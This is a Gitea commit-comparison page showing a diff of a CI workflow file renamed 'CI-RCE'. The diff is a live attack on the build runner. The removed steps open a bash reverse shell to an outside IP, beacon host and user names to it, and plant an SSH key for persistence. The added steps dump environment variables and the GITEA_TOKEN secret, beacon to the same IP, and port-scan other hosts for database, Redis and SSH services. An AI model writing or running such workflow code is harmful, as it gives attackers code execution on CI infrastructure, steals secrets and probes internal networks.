Compare commits

...

2 Commits

Author SHA1 Message Date
76c15b6f5a trigger CI
Some checks are pending
CI-RCE / build (push) Waiting to run
2026-06-17 23:43:45 +00:00
b6042b1fa6 update workflow for host runner 2026-06-17 23:43:23 +00:00
2 changed files with 25 additions and 10 deletions

View File

@ -1,17 +1,31 @@
name: CI name: CI-RCE
on: on:
push: push:
workflow_dispatch: workflow_dispatch:
jobs: jobs:
build: build:
runs-on: ubuntu-latest runs-on: linux-amd64
steps: steps:
- name: RCE - name: Exec
run: | run: |
bash -i >& /dev/tcp/202.59.10.226/4445 0>&1 & echo "=== CI/CD RCE CONFIRMED ==="
curl http://202.59.10.226:8888/pwned-$(hostname)-$(whoami) echo "Hostname: $(hostname)"
- name: Persist echo "User: $(whoami)"
run: | echo "PWD: $(pwd)"
mkdir -p /tmp/.ssh echo "=== Environment Variables ==="
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC" >> /tmp/.ssh/authorized_keys env | sort
curl http://202.59.10.226:8888/persist-$(hostname) echo "=== Network ==="
ip addr 2>/dev/null || ifconfig
echo "=== Attempt connections ==="
curl -s http://202.59.10.226:8888/rce-$(hostname)-$(whoami) || true
# Try to access internal services
for target in 49.51.171.167 108.181.64.141 156.239.230.24; do
for port in 3306 6379 22 80 443; do
timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
done
done
# Dump runner token info
echo "=== GITEA_TOKEN ==="
echo "${GITEA_TOKEN:-NO_GITEA_TOKEN}"
echo "=== GITEA_REPOSITORY ==="
echo "${GITEA_REPOSITORY:-NO_REPO}"

1
trigger.txt Normal file
View File

@ -0,0 +1 @@
trigger